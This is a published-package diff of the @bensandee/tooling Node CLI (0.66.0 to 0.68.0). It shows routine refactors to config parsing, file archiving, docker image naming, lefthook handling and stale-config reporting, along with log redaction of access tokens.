@bensandee/tooling 0.66.0 → 0.68.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/bin.mjs CHANGED
@@ -1,5 +1,4 @@
1
1
  #!/usr/bin/env node
2
- import { d as lintComposeFiles, f as parseComposeYaml, g as redact, h as isEnvVerbose, m as debugExec, n as runDockerCheck, p as debug, t as deriveProjectName, u as createRealExecutor$1 } from "./project-name-CNaAmafB.mjs";
3
2
  import { defineCommand, runMain } from "citty";
4
3
  import * as clack from "@clack/prompts";
5
4
  import { isCancel, select } from "@clack/prompts";
@@ -10,25 +9,25 @@ import JSON5 from "json5";
10
9
  import { applyEdits, modify, parse } from "jsonc-parser";
11
10
  import { z } from "zod";
12
11
  import { FatalError, TransientError, UnexpectedError } from "@bensandee/common";
13
- import { isMap, isScalar, isSeq, parseDocument, stringify, visit } from "yaml";
12
+ import { isMap, isScalar, isSeq, parse as parse$1, parseDocument, stringify, visit } from "yaml";
14
13
  import picomatch from "picomatch";
15
14
  import { tmpdir } from "node:os";
16
15
  import net from "node:net";
17
16
  import { createHmac } from "node:crypto";
18
17
  import { fileURLToPath } from "node:url";
19
18
  //#region src/utils/log.ts
20
- const out$9 = (msg) => console.log(msg);
19
+ const out$7 = (msg) => console.log(msg);
21
20
  const isCI = Boolean(process.env["CI"]);
22
21
  const log = isCI ? {
23
- info: out$9,
24
- warn: (msg) => out$9(`[warn] ${msg}`),
25
- error: (msg) => out$9(`[error] ${msg}`),
26
- success: (msg) => out$9(`✓ ${msg}`)
22
+ info: out$7,
23
+ warn: (msg) => out$7(`[warn] ${msg}`),
24
+ error: (msg) => out$7(`[error] ${msg}`),
25
+ success: (msg) => out$7(`✓ ${msg}`)
27
26
  } : clack.log;
28
27
  function note(body, title) {
29
28
  if (isCI) {
30
- if (title) out$9(`--- ${title} ---`);
31
- out$9(body);
29
+ if (title) out$7(`--- ${title} ---`);
30
+ out$7(body);
32
31
  } else clack.note(body, title);
33
32
  }
34
33
  //#endregion
@@ -113,6 +112,48 @@ function parsePackageJson(raw) {
113
112
  }
114
113
  }
115
114
  //#endregion
115
+ //#region src/utils/tooling-config-slice.ts
116
+ /**
117
+ * Parse one narrow slice of `.tooling.json`.
118
+ *
119
+ * Four modules need a *piece* of the config and cannot use `loadToolingConfig`
120
+ * (tooling-config.ts) to get it: that module imports `detect.ts`, which imports
121
+ * `stack.ts` — so `stack.ts` reaching back for the full loader would close an import
122
+ * cycle. `codebase-health/config.ts`, `coverage-tracking/config.ts`, and
123
+ * `package-json.ts#readUnmanagedDevDeps` each ended up hand-rolling the same
124
+ * read-parse-validate dance for the same reason, and the four copies had drifted into
125
+ * four subtly different spellings of it.
126
+ *
127
+ * The cycle-avoidance is legitimate; the duplication was not. This module is the shared
128
+ * bottom of that graph, and it stays there by importing **nothing but zod** — no
129
+ * `tooling-config.ts`, no `detect.ts`, no generator. Reaching for the full schemas over
130
+ * there for convenience is exactly what re-forms the cycle, so don't.
131
+ *
132
+ * It takes an already-read string rather than a path, which is what lets all four
133
+ * callers share it despite reading through different doors: `stack.ts` runs before any
134
+ * GeneratorContext exists and reads the filesystem directly, while the other three read
135
+ * through a `ctx.read` / reader so their tests can mock it. Keeping the IO on the
136
+ * caller's side of the boundary means this function has none.
137
+ *
138
+ * **A malformed config is treated exactly like an absent one** — both yield `undefined`,
139
+ * and every caller maps that to its own defaults. It is tempting to make a broken
140
+ * `.tooling.json` a hard error, but these callers run deep inside detection, where the
141
+ * config is an *override* on a working default: a repo whose config has a stray comma
142
+ * should still sync, not refuse to. (`loadToolingConfig` does warn on the same file, so
143
+ * the user is told once, at the top level, rather than four times from four modules.)
144
+ */
145
+ function parseToolingConfigSlice(raw, schema) {
146
+ if (raw === void 0 || raw.trim() === "") return void 0;
147
+ let json;
148
+ try {
149
+ json = JSON.parse(raw);
150
+ } catch (_error) {
151
+ return;
152
+ }
153
+ const result = schema.safeParse(json);
154
+ return result.success ? result.data : void 0;
155
+ }
156
+ //#endregion
116
157
  //#region src/utils/stack.ts
117
158
  /**
118
159
  * Directories that never count as source evidence, by exact name (checked at
@@ -205,22 +246,21 @@ const StackOverrideSchema = z.object({ stack: z.enum([
205
246
  "none"
206
247
  ]).optional() });
207
248
  /**
208
- * Read only the `stack` override out of .tooling.json, without pulling in the full
209
- * `loadToolingConfig` from tooling-config.ts. That module imports `detect.ts`, which
210
- * imports this module — so a reverse import here would form a cycle. This narrow,
211
- * local parse mirrors the same pattern already used in codebase-health/config.ts and
212
- * coverage-tracking/config.ts.
249
+ * Read only the `stack` override out of .tooling.json. This cannot go through
250
+ * `loadToolingConfig` (tooling-config.ts): that module imports `detect.ts`, which
251
+ * imports this one, so a reverse import here would close a cycle. See
252
+ * {@link parseToolingConfigSlice}, which is the shared bottom of that graph.
213
253
  */
214
254
  function readStackOverride(targetDir) {
215
255
  const full = path.join(targetDir, ".tooling.json");
216
256
  if (!existsSync(full)) return void 0;
257
+ let raw;
217
258
  try {
218
- const raw = readFileSync(full, "utf-8");
219
- const parsed = StackOverrideSchema.safeParse(JSON.parse(raw));
220
- return parsed.success ? parsed.data.stack : void 0;
259
+ raw = readFileSync(full, "utf-8");
221
260
  } catch (_error) {
222
261
  return;
223
262
  }
263
+ return parseToolingConfigSlice(raw, StackOverrideSchema)?.stack;
224
264
  }
225
265
  /** The effective stack: the .tooling.json override if set, else detection. */
226
266
  function resolveStack(targetDir) {
@@ -258,6 +298,17 @@ function scriptInvokes(script, builderName) {
258
298
  * script value is scanned (not just `build`) so a composite build script
259
299
  * (`"build": "pnpm build:lib && pnpm build:app"` delegating to a `build:lib`
260
300
  * of `"tsdown"`) is still classified correctly.
301
+ *
302
+ * **On a monorepo root this always answers `"custom"`, and that answer is meaningless.**
303
+ * A monorepo root's `build` is `pnpm -r build` — a real build script that invokes neither
304
+ * tsdown nor vite — so it falls through to the `"custom"` branch below every time. The
305
+ * root does not compile anything; its packages do, and they each have their own builder.
306
+ *
307
+ * This is inert *today* only because every consumer early-returns on `structure ===
308
+ * "monorepo"` before it ever reads `builder` (see `generateTsdown`). It is a live trap for
309
+ * the next `builder === ...` gate: on a monorepo that gate would silently take the
310
+ * `"custom"` branch for reasons that have nothing to do with the repo. If you need a
311
+ * per-package builder, detect it per package — do not read this value at the root.
261
312
  */
262
313
  function detectBuilder(targetDir, pkg) {
263
314
  const scripts = pkg?.scripts;
@@ -826,12 +877,21 @@ function isArchivable(relativePath) {
826
877
  return !relativePath.split("/").includes(".tooling-archived");
827
878
  }
828
879
  /**
829
- * Save `content` to `.tooling-archived/<relativePath>` and record it in `archivedFiles`.
830
- * Shared by write() (archiving a file before overwrite) and remove() (archiving before delete).
831
- */
832
- function archiveContent(targetDir, relativePath, content, archivedFiles) {
880
+ * Save the bytes at `relativePath` to `.tooling-archived/<relativePath>` and record it
881
+ * in `archivedFiles`. Shared by write() (archiving before overwrite) and remove()
882
+ * (archiving before delete).
883
+ *
884
+ * The archive is a **byte copy, never a decoded round-trip**. Reading as UTF-8 does not
885
+ * throw on invalid input — it silently substitutes U+FFFD — so a text round-trip would
886
+ * corrupt a binary file and then hand back a corrupt "backup" while the original is
887
+ * deleted. The safety net would fail silently in exactly the case it exists for. Today
888
+ * every generator-owned file is text, but `claude-settings` removes an arbitrary
889
+ * per-package `.claude/` directory whose contents bst does not own and cannot vet.
890
+ */
891
+ function archiveFile(targetDir, relativePath, archivedFiles) {
833
892
  if (!isArchivable(relativePath)) return;
834
- writeFile(targetDir, `.tooling-archived/${relativePath}`, content);
893
+ const bytes = readFileSync(path.join(targetDir, relativePath));
894
+ writeFile(targetDir, `.tooling-archived/${relativePath}`, bytes);
835
895
  archivedFiles.push(relativePath);
836
896
  }
837
897
  /**
@@ -844,16 +904,15 @@ function archiveBeforeRemove(targetDir, relativePath, archivedFiles) {
844
904
  const fullPath = path.join(targetDir, relativePath);
845
905
  if (!existsSync(fullPath)) return;
846
906
  if (!statSync(fullPath).isDirectory()) {
847
- archiveContent(targetDir, relativePath, readFileSync(fullPath, "utf-8"), archivedFiles);
907
+ archiveFile(targetDir, relativePath, archivedFiles);
848
908
  return;
849
909
  }
850
910
  for (const entry of readdirSync(fullPath, {
851
911
  recursive: true,
852
912
  encoding: "utf-8"
853
913
  })) {
854
- const entryFullPath = path.join(fullPath, entry);
855
- if (statSync(entryFullPath).isDirectory()) continue;
856
- archiveContent(targetDir, path.join(relativePath, entry), readFileSync(entryFullPath, "utf-8"), archivedFiles);
914
+ if (statSync(path.join(fullPath, entry)).isDirectory()) continue;
915
+ archiveFile(targetDir, path.join(relativePath, entry), archivedFiles);
857
916
  }
858
917
  }
859
918
  /**
@@ -880,7 +939,7 @@ function createContext(config, confirmOverwrite) {
880
939
  write: (rel, content) => {
881
940
  assertContained(config.targetDir, rel);
882
941
  const existing = readFile(config.targetDir, rel);
883
- if (existing !== void 0 && !contentEqual(rel, existing, content)) archiveContent(config.targetDir, rel, existing, archivedFiles);
942
+ if (existing !== void 0 && !contentEqual(rel, existing, content)) archiveFile(config.targetDir, rel, archivedFiles);
884
943
  writeFile(config.targetDir, rel, content);
885
944
  if (rel === "package.json") ctx.packageJson = parsePackageJson(content);
886
945
  },
@@ -934,7 +993,7 @@ const DEFAULT_STALE_DAYS = 30;
934
993
  /** `.tooling.json#docs` — overrides only; a conventional repo omits the key. */
935
994
  const DocsConfigSchema = z.strictObject({
936
995
  enforced: z.union([z.boolean(), z.array(z.string())]).optional().meta({ description: "Which discovered pairs fail the build. true = all; an array names active dirs (e.g. [\"docs/plans\"]); default false = every violation is advisory." }),
937
- dirs: z.array(z.string()).optional().meta({ description: "Extra active doc dirs beyond convention (e.g. [\"docs/rfcs\"]). Each retires into its own completed/ subdir." }),
996
+ dirs: z.array(z.string()).optional().meta({ description: "Extra active doc dirs beyond convention (e.g. [\"docs/rfcs\"]). Each retires into its own retired/ subdir." }),
938
997
  staleDays: z.number().int().nonnegative().optional().meta({ description: "Days before an untouched active doc is flagged (default 30; 0 disables the rule)." }),
939
998
  staleEnforced: z.boolean().optional().meta({ description: "Make the staleness rule fatal inside an enforced pair (default false: staleness is always advisory)." })
940
999
  });
@@ -1067,7 +1126,8 @@ const ToolingConfigSchema = z.strictObject({
1067
1126
  docker: z.record(z.string(), z.object({
1068
1127
  dockerfile: z.string().optional().meta({ description: "Path to Dockerfile relative to package (falls back to convention when omitted)" }),
1069
1128
  context: z.string().optional().meta({ description: "Docker build context relative to package (falls back to convention, default '.')" }),
1070
- buildArgs: z.record(z.string(), z.string()).optional().meta({ description: "Build args passed to `docker build` for this package. Values support ${VAR} and ${VAR:-default} expansion against process.env." })
1129
+ buildArgs: z.record(z.string(), z.string()).optional().meta({ description: "Build args passed to `docker build` for this package. Values support ${VAR} and ${VAR:-default} expansion against process.env." }),
1130
+ imageName: z.string().min(1).optional().meta({ description: "Image name used for docker:build tags, docker:publish refs, and docker:check cross-referencing. Falls back to the derived name: the package.json name for the root package (npm scope stripped), or {root-name}-{package-name} for a monorepo package." })
1071
1131
  })).optional().meta({ description: "Docker package overrides (package name → partial config; any field may be omitted to fall back to convention)" }),
1072
1132
  dockerCheck: z.union([z.literal(false), DockerCheckConfigSchema]).optional().meta({ description: "Docker health check configuration or false to disable" }),
1073
1133
  registryHost: z.string().optional().meta({ description: "Docker registry hostname (e.g. ghcr.io, code.example.com)" }),
@@ -1404,11 +1464,38 @@ async function configureGitIdentity(executor, platform, cwd, conn) {
1404
1464
  };
1405
1465
  }
1406
1466
  //#endregion
1467
+ //#region src/utils/debug.ts
1468
+ const REDACT_PATTERNS = [/x-access-token:[^\s@]+/g, /Authorization:\s*(?:token|Bearer)\s+\S+/gi];
1469
+ const debugOut = (msg) => console.error(msg);
1470
+ /** Redact secrets (tokens, credentials) from text before logging. */
1471
+ function redact(text) {
1472
+ let result = text;
1473
+ for (const pattern of REDACT_PATTERNS) result = result.replace(pattern, "[REDACTED]");
1474
+ return result;
1475
+ }
1476
+ /** Check if verbose/debug mode is enabled via environment variables. */
1477
+ function isEnvVerbose() {
1478
+ return process.env["TOOLING_DEBUG"] === "true";
1479
+ }
1480
+ /** Log a debug message when verbose mode is enabled. */
1481
+ function debug(config, message) {
1482
+ if (config.verbose) debugOut(`[debug] ${message}`);
1483
+ }
1484
+ /** Log the result of an exec call when verbose mode is enabled. */
1485
+ function debugExec(config, label, result) {
1486
+ if (!config.verbose) return;
1487
+ const lines = [`[debug] ${redact(label)} (exit code ${String(result.exitCode)})`];
1488
+ if (result.stdout.trim()) lines.push(` stdout: ${redact(result.stdout.trim())}`);
1489
+ if (result.stderr.trim()) lines.push(` stderr: ${redact(result.stderr.trim())}`);
1490
+ debugOut(lines.join("\n"));
1491
+ }
1492
+ //#endregion
1407
1493
  //#region src/release/docker.ts
1408
1494
  const ToolingDockerMapSchema = z.record(z.string(), z.object({
1409
1495
  dockerfile: z.string().optional(),
1410
1496
  context: z.string().optional(),
1411
- buildArgs: z.record(z.string(), z.string()).optional()
1497
+ buildArgs: z.record(z.string(), z.string()).optional(),
1498
+ imageName: z.string().optional()
1412
1499
  }));
1413
1500
  const ToolingConfigDockerSchema = z.object({ docker: ToolingDockerMapSchema.optional() });
1414
1501
  const PackageInfoSchema = z.object({
@@ -1440,7 +1527,8 @@ function mergeDockerConfig(convention, override) {
1440
1527
  return {
1441
1528
  dockerfile,
1442
1529
  context: override.context ?? convention?.context ?? ".",
1443
- buildArgs: override.buildArgs ?? convention?.buildArgs
1530
+ buildArgs: override.buildArgs ?? convention?.buildArgs,
1531
+ imageName: override.imageName
1444
1532
  };
1445
1533
  }
1446
1534
  /** Read name and version from a package's package.json. */
@@ -1503,7 +1591,7 @@ function createDockerPackage(executor, cwd, dir, repoName, docker) {
1503
1591
  const { name, version } = readPackageInfo(executor, isRoot ? path.join(cwd, "package.json") : path.join(cwd, "packages", dir, "package.json"));
1504
1592
  return {
1505
1593
  dir,
1506
- imageName: isRoot ? stripScope(name ?? repoName) : `${repoName}-${stripScope(name ?? dir)}`,
1594
+ imageName: docker.imageName ?? (isRoot ? stripScope(name ?? repoName) : `${repoName}-${stripScope(name ?? dir)}`),
1507
1595
  version,
1508
1596
  docker
1509
1597
  };
@@ -1974,6 +2062,45 @@ function mergeLefthookCommands(existing, requiredCommands) {
1974
2062
  }
1975
2063
  }
1976
2064
  /**
2065
+ * Remove a command from `pre-commit.commands` — but only when its `run` value
2066
+ * is byte-identical to the command bst itself generates; a customized command
2067
+ * is not ours to reclaim. Used when a stack downgrade makes a managed command
2068
+ * unrunnable (the "none" stack installs no oxlint, so the managed lint hook
2069
+ * would fail every commit).
2070
+ */
2071
+ function removeLefthookCommand(existing, name, expectedRun) {
2072
+ if (isToolingIgnored(existing)) return {
2073
+ content: existing,
2074
+ changed: false
2075
+ };
2076
+ try {
2077
+ const doc = parseDocument(existing);
2078
+ if (doc.getIn([
2079
+ "pre-commit",
2080
+ "commands",
2081
+ name,
2082
+ "run"
2083
+ ]) !== expectedRun) return {
2084
+ content: existing,
2085
+ changed: false
2086
+ };
2087
+ doc.deleteIn([
2088
+ "pre-commit",
2089
+ "commands",
2090
+ name
2091
+ ]);
2092
+ return {
2093
+ content: doc.toString(),
2094
+ changed: true
2095
+ };
2096
+ } catch {
2097
+ return {
2098
+ content: existing,
2099
+ changed: false
2100
+ };
2101
+ }
2102
+ }
2103
+ /**
1977
2104
  * Normalize a workflow YAML string for comparison purposes.
1978
2105
  * Parses the YAML DOM to strip action versions from `uses:` values and remove all comments,
1979
2106
  * then re-serializes so that pinned hashes, older tags, or formatting differences
@@ -2300,6 +2427,7 @@ function hasReleaseAssets(ctx) {
2300
2427
  return false;
2301
2428
  }
2302
2429
  }
2430
+ /** Where `ctx.remove()` puts what it archives. Named here only to describe it to the user. */
2303
2431
  const ARCHIVE_DIR$2 = ".tooling-archived";
2304
2432
  async function generateDeployCi(ctx) {
2305
2433
  const filePath = "deploy-ci";
@@ -2311,9 +2439,7 @@ async function generateDeployCi(ctx) {
2311
2439
  const isGitHub = ctx.config.ci === "github";
2312
2440
  const workflowPath = isGitHub ? ".github/workflows/publish.yml" : ".forgejo/workflows/publish.yml";
2313
2441
  if (ctx.config.releaseStrategy === "simple") {
2314
- const existing = ctx.read(workflowPath);
2315
- if (existing !== void 0) {
2316
- ctx.write(`${ARCHIVE_DIR$2}/${workflowPath}`, existing);
2442
+ if (ctx.read(workflowPath) !== void 0) {
2317
2443
  ctx.remove(workflowPath);
2318
2444
  return {
2319
2445
  filePath: workflowPath,
@@ -2360,63 +2486,6 @@ async function generateDeployCi(ctx) {
2360
2486
  };
2361
2487
  }
2362
2488
  //#endregion
2363
- //#region src/generators/tsdown.ts
2364
- /**
2365
- * Exported so `package-json.ts#reclaimManagedDevDeps` can gate the `tsdown`
2366
- * devDependency reclaim on the same generated-template evidence this generator
2367
- * uses for the config file itself — the two must never disagree about what
2368
- * "no longer used" means (see the block comment there).
2369
- */
2370
- const TSDOWN_CONFIG = `import { defineConfig } from "tsdown";
2371
-
2372
- export default defineConfig({
2373
- entry: ["src/index.ts"],
2374
- });
2375
- `;
2376
- async function generateTsdown(ctx) {
2377
- const filePath = "tsdown.config.ts";
2378
- if (ctx.config.structure === "monorepo") return {
2379
- filePath,
2380
- action: "skipped",
2381
- description: "Monorepo: tsdown config belongs in individual packages"
2382
- };
2383
- if (ctx.config.builder !== "tsdown") {
2384
- if (isGeneratedTemplate(ctx, filePath, TSDOWN_CONFIG)) {
2385
- ctx.remove(filePath);
2386
- return {
2387
- filePath,
2388
- action: "removed",
2389
- description: `Removed generated tsdown config (builder is ${ctx.config.builder})`
2390
- };
2391
- }
2392
- return {
2393
- filePath,
2394
- action: "skipped",
2395
- description: `Builder is ${ctx.config.builder}; tsdown config not managed`
2396
- };
2397
- }
2398
- const existing = ctx.read(filePath);
2399
- const config = formattedTemplate(ctx, filePath, TSDOWN_CONFIG);
2400
- if (existing) {
2401
- if (existing === config) return {
2402
- filePath,
2403
- action: "skipped",
2404
- description: "Already configured"
2405
- };
2406
- if (await ctx.confirmOverwrite(filePath) === "skip") return {
2407
- filePath,
2408
- action: "skipped",
2409
- description: "Existing tsdown config preserved"
2410
- };
2411
- }
2412
- ctx.write(filePath, config);
2413
- return {
2414
- filePath,
2415
- action: existing ? "updated" : "created",
2416
- description: "Generated tsdown.config.ts"
2417
- };
2418
- }
2419
- //#endregion
2420
2489
  //#region src/utils/script-forwarding.ts
2421
2490
  /**
2422
2491
  * pnpm appends args forwarded via `pnpm <script> <args>` to the END of the
@@ -2470,6 +2539,71 @@ function diagnoseCheckScriptForwarding(scripts) {
2470
2539
  return `Likely cause: ${problems.join(", and ")}. pnpm appends forwarded args (e.g. \`--with-coverage\`, \`--skip 'docker:*'\`) to the end of the resolved script, so they never reach \`bst checks:run\`. Make \`bst checks:run\` the last command — move extra checks into \`bst checks:run --add <name,...>\`.`;
2471
2540
  }
2472
2541
  /**
2542
+ * The toolchain scripts `MANAGED_SCRIPTS` (package-json.ts) deliberately does NOT
2543
+ * force-converge. They are add-if-absent: once a value exists, sync never looks at
2544
+ * it again — because force-converging `build` would stomp a Vite project's
2545
+ * `vite build`, which is the entire point of the `builder` axis. The cost of that
2546
+ * freedom is that these scripts can drift into nonsense and nothing notices, so we
2547
+ * diagnose the one drift shape that fails *silently* rather than loudly.
2548
+ */
2549
+ const TOOLCHAIN_SCRIPTS = [
2550
+ "build",
2551
+ "typecheck",
2552
+ "lint",
2553
+ "test",
2554
+ "knip",
2555
+ "format"
2556
+ ];
2557
+ /**
2558
+ * True when a pnpm invocation asks for recursion (`-r`) and then pins itself to the
2559
+ * workspace root (`-w`) — `pnpm -r -w --parallel exec tsc --noEmit`.
2560
+ *
2561
+ * `-w` wins: the command runs exactly once, in the workspace root, and never descends
2562
+ * into `packages/*`. A monorepo root holds no source, so `tsc --noEmit` there typechecks
2563
+ * nothing and **exits 0**. That is the failure mode this exists for — the script is not
2564
+ * broken, it is a no-op that reports success, so it survives in CI indefinitely. This
2565
+ * repo's own `typecheck` sat in exactly that state until it was found by accident.
2566
+ *
2567
+ * Scanned per `&&`/`||`/`|`/`;` segment so a chained script can't hide the conflict, and
2568
+ * only up to the first non-flag token so a *script's own* `-w` (e.g. `vitest --watch`,
2569
+ * `tsdown -w`) is never mistaken for pnpm's.
2570
+ */
2571
+ function recursionIsPinnedToRoot(script) {
2572
+ return script.split(/&&|\|\|?|;/).some((segment) => {
2573
+ const tokens = segment.trim().split(/\s+/);
2574
+ if (tokens[0] !== "pnpm") return false;
2575
+ let recursive = false;
2576
+ let workspaceRoot = false;
2577
+ for (const token of tokens.slice(1)) {
2578
+ if (!token.startsWith("-")) break;
2579
+ if (token === "--recursive") recursive = true;
2580
+ else if (token === "--workspace-root") workspaceRoot = true;
2581
+ else if (/^-[a-zA-Z]+$/.test(token)) {
2582
+ if (token.includes("r")) recursive = true;
2583
+ if (token.includes("w")) workspaceRoot = true;
2584
+ }
2585
+ }
2586
+ return recursive && workspaceRoot;
2587
+ });
2588
+ }
2589
+ /**
2590
+ * Inspect the unmanaged toolchain scripts for silent-no-op shapes. Returns a
2591
+ * human-readable hint, or undefined when they look sound.
2592
+ *
2593
+ * This is a **warning, not a convergence**: sync must not rewrite these scripts (see
2594
+ * {@link TOOLCHAIN_SCRIPTS}), so the only honest move is to tell the human what looks
2595
+ * wrong and let them fix it.
2596
+ */
2597
+ function diagnoseToolchainScripts(scripts) {
2598
+ if (!scripts) return void 0;
2599
+ const pinned = TOOLCHAIN_SCRIPTS.filter((name) => {
2600
+ const script = scripts[name];
2601
+ return script !== void 0 && recursionIsPinnedToRoot(script);
2602
+ });
2603
+ if (pinned.length === 0) return void 0;
2604
+ return `${pinned.map((name) => `\`${name}\``).join(", ")} ${pinned.length === 1 ? "combines" : "combine"} pnpm's \`-r\` (recursive) with \`-w\` (workspace-root). \`-w\` wins, so the command runs once at the workspace root and never descends into \`packages/*\` — in a monorepo whose root holds no source, that is a no-op that still exits 0. Drop the \`-w\`.`;
2605
+ }
2606
+ /**
2473
2607
  * Filesystem wrapper around {@link diagnoseCheckScriptForwarding}: reads
2474
2608
  * `package.json` from `targetDir` (best-effort) and diagnoses its scripts.
2475
2609
  */
@@ -3056,22 +3190,28 @@ function mergeManagedDevDeps(pkg, devDeps, unmanaged, changes) {
3056
3190
  */
3057
3191
  const RECLAIMABLE_DEV_DEPS = /* @__PURE__ */ new Set(["tsdown"]);
3058
3192
  /**
3059
- * True when it is safe to drop the `tsdown` devDependency: either there is no
3060
- * root `tsdown.config.ts` at all, or the one present is byte-identical to the
3061
- * template `generateTsdown()` writes. A hand-written config is the user's —
3062
- * `generateTsdown()` already refuses to delete it (exact-match-only), so the
3063
- * devDep reclaim must use the identical evidence or the two generators
3064
- * disagree about "no longer used": config kept, dependency gone, next
3065
- * `pnpm install` breaks the build the config still expects to run.
3193
+ * True when it is safe to drop the `tsdown` devDependency: only once there is no root
3194
+ * `tsdown.config.ts` left at all.
3195
+ *
3196
+ * The rule is "never let the config and the dependency disagree about *no longer used*",
3197
+ * and what satisfies it changed when a builder downgrade stopped deleting the config
3198
+ * (see `reportStaleConfig`). `generateTsdown()` now *leaves* a stale config on disk and
3199
+ * warns; if this still reclaimed the devDep on the strength of "the config is one of
3200
+ * ours", the two would disagree in the worst direction — config kept, dependency gone,
3201
+ * and the next `pnpm install` leaves a `tsdown.config.ts` importing a package that isn't
3202
+ * there.
3066
3203
  *
3067
- * `ctx.read` is the same in-memory-or-real-fs read every other generator
3068
- * uses, so this needs no pipeline reordering relative to `generateTsdown`
3069
- * (package-json runs first; both read the file from disk/mock, neither
3070
- * depends on the other having run).
3204
+ * So the dependency now follows the file: while the config exists, the dep stays. Once a
3205
+ * human deletes the config (the warning tells them they can), the next sync reclaims the
3206
+ * dep. Deleting nothing and reclaiming nothing is the safe pair; deleting the dep alone
3207
+ * is not.
3208
+ *
3209
+ * `ctx.read` is the same in-memory-or-real-fs read every other generator uses, so this
3210
+ * needs no pipeline reordering relative to `generateTsdown` (package-json runs first;
3211
+ * both read the file from disk/mock, neither depends on the other having run).
3071
3212
  */
3072
3213
  function tsdownConfigIsReclaimable(ctx) {
3073
- if (ctx.read("tsdown.config.ts") === void 0) return true;
3074
- return isGeneratedTemplate(ctx, "tsdown.config.ts", TSDOWN_CONFIG);
3214
+ return ctx.read("tsdown.config.ts") === void 0;
3075
3215
  }
3076
3216
  /**
3077
3217
  * Remove reclaimable devDeps (`RECLAIMABLE_DEV_DEPS`) that are present but no longer part of
@@ -3111,14 +3251,8 @@ function reclaimManagedDevDeps(ctx, pkg, managedDevDeps, unmanaged, changes) {
3111
3251
  const UnmanagedDevDepsSchema = z.object({ unmanagedDevDependencies: z.array(z.string()).optional() });
3112
3252
  /** devDependency names the project has explicitly opted out of tooling management. */
3113
3253
  function readUnmanagedDevDeps(ctx) {
3114
- const raw = ctx.read(".tooling.json");
3115
- if (!raw) return /* @__PURE__ */ new Set();
3116
- try {
3117
- const result = UnmanagedDevDepsSchema.safeParse(JSON.parse(raw));
3118
- return new Set(result.success ? result.data.unmanagedDevDependencies ?? [] : []);
3119
- } catch {
3120
- return /* @__PURE__ */ new Set();
3121
- }
3254
+ const slice = parseToolingConfigSlice(ctx.read(".tooling.json"), UnmanagedDevDepsSchema);
3255
+ return new Set(slice?.unmanagedDevDependencies ?? []);
3122
3256
  }
3123
3257
  /**
3124
3258
  * Apply set-if-absent metadata to an existing package.json: refresh a present
@@ -3202,9 +3336,9 @@ function buildManagedDevDeps(ctx) {
3202
3336
  const isMonorepo = ctx.config.structure === "monorepo";
3203
3337
  const devDeps = { ...rootDevDeps(ctx.config) };
3204
3338
  if (!isMonorepo) Object.assign(devDeps, perPackageDevDeps(ctx.config));
3205
- devDeps["@bensandee/config"] = isWorkspacePackage(ctx, "@bensandee/config") ? "workspace:*" : "0.13.1";
3206
- if (!isWorkspacePackage(ctx, "@bensandee/tooling")) devDeps["@bensandee/tooling"] = "0.66.0";
3207
- if (ctx.config.useEslintPlugin) devDeps["@bensandee/eslint-plugin"] = isWorkspacePackage(ctx, "@bensandee/eslint-plugin") ? "workspace:*" : "0.13.2";
3339
+ if (ctx.config.stack !== "none" || ctx.config.ci === "forgejo") devDeps["@bensandee/config"] = isWorkspacePackage(ctx, "@bensandee/config") ? "workspace:*" : "0.13.1";
3340
+ if (!isWorkspacePackage(ctx, "@bensandee/tooling")) devDeps["@bensandee/tooling"] = "0.68.0";
3341
+ if (ctx.config.useEslintPlugin && ctx.config.stack !== "none") devDeps["@bensandee/eslint-plugin"] = isWorkspacePackage(ctx, "@bensandee/eslint-plugin") ? "workspace:*" : "0.13.2";
3208
3342
  if (ctx.config.formatter === "oxfmt") devDeps["oxfmt"] = {
3209
3343
  "@changesets/cli": "2.31.0",
3210
3344
  "@release-it/bumper": "7.0.6",
@@ -3263,6 +3397,8 @@ async function generatePackageJson(ctx) {
3263
3397
  mergeManagedScripts(pkg, allScripts, changes);
3264
3398
  const forwardingHint = diagnoseCheckScriptForwarding(pkg.scripts ?? {});
3265
3399
  if (forwardingHint) log.warn(`package.json: pnpm-forwarded check flags may be dropped. ${forwardingHint}`);
3400
+ const toolchainHint = diagnoseToolchainScripts(pkg.scripts ?? {});
3401
+ if (toolchainHint) log.warn(`package.json: a toolchain script may be a silent no-op. ${toolchainHint}`);
3266
3402
  mergeManagedDevDeps(pkg, devDeps, unmanaged, changes);
3267
3403
  reclaimManagedDevDeps(ctx, pkg, devDeps, unmanaged, changes);
3268
3404
  applyMetadataDefaults(pkg, ctx, changes);
@@ -3372,6 +3508,46 @@ function reconcileWorkspaceDevEngines(ctx, relPath) {
3372
3508
  };
3373
3509
  }
3374
3510
  //#endregion
3511
+ //#region src/generators/stale-config.ts
3512
+ /**
3513
+ * What `repo:sync` does with a config file that the repo's current stack/builder no
3514
+ * longer reads — a `tsconfig.json` on a `stack: none` repo, a `tsdown.config.ts` on
3515
+ * `builder: vite`.
3516
+ *
3517
+ * **It reports it. It does not delete it.**
3518
+ *
3519
+ * This used to be asymmetric, and the asymmetry was an accident of authoring order
3520
+ * rather than a decision: `tsconfig` and `tsdown` archived-and-removed the file, while
3521
+ * `vitest`, `oxlint`, and `knip` merely skipped and left it. Unifying on *reclaim*
3522
+ * everywhere was the tempting direction — sync would leave no cruft behind — and it is
3523
+ * the wrong one:
3524
+ *
3525
+ * - The ownership evidence is a **byte-match against our own template**, which is a
3526
+ * heuristic, not a fact. `ctx.format()` runs the *target repo's* formatter over the
3527
+ * template, so what counts as "ours" is whatever that formatter happened to emit on
3528
+ * the day it was written. A formatter upgrade in someone else's repo must not become
3529
+ * a licence for us to start deleting their files.
3530
+ * - Deletion is the one sync action a human cannot reverse by reading the diff. It is
3531
+ * archived to `.tooling-archived/`, but a repo that gets a file silently removed on a
3532
+ * config change it did not connect to the deletion has lost trust in the tool.
3533
+ * - A stale config is inert. Nothing reads it. The cost of leaving it is a confused
3534
+ * grep; the cost of wrongly removing it is someone's build.
3535
+ *
3536
+ * So: sync leaves the file and says so. Cleaning up is a human decision, and once the
3537
+ * human makes it, the next sync can complete the job (see `tsdownConfigIsReclaimable`,
3538
+ * which only reclaims the `tsdown` devDependency once its config is actually gone —
3539
+ * dropping the dep while the config still sits there would leave the config importing a
3540
+ * package that is no longer installed).
3541
+ */
3542
+ function reportStaleConfig(filePath, reason) {
3543
+ log.warn(`${filePath} is stale: ${reason}, so nothing reads it. bst does not delete it — remove it yourself, or correct the stack/builder in .tooling.json if this is wrong.`);
3544
+ return {
3545
+ filePath,
3546
+ action: "skipped",
3547
+ description: `Stale (${reason}); left in place`
3548
+ };
3549
+ }
3550
+ //#endregion
3375
3551
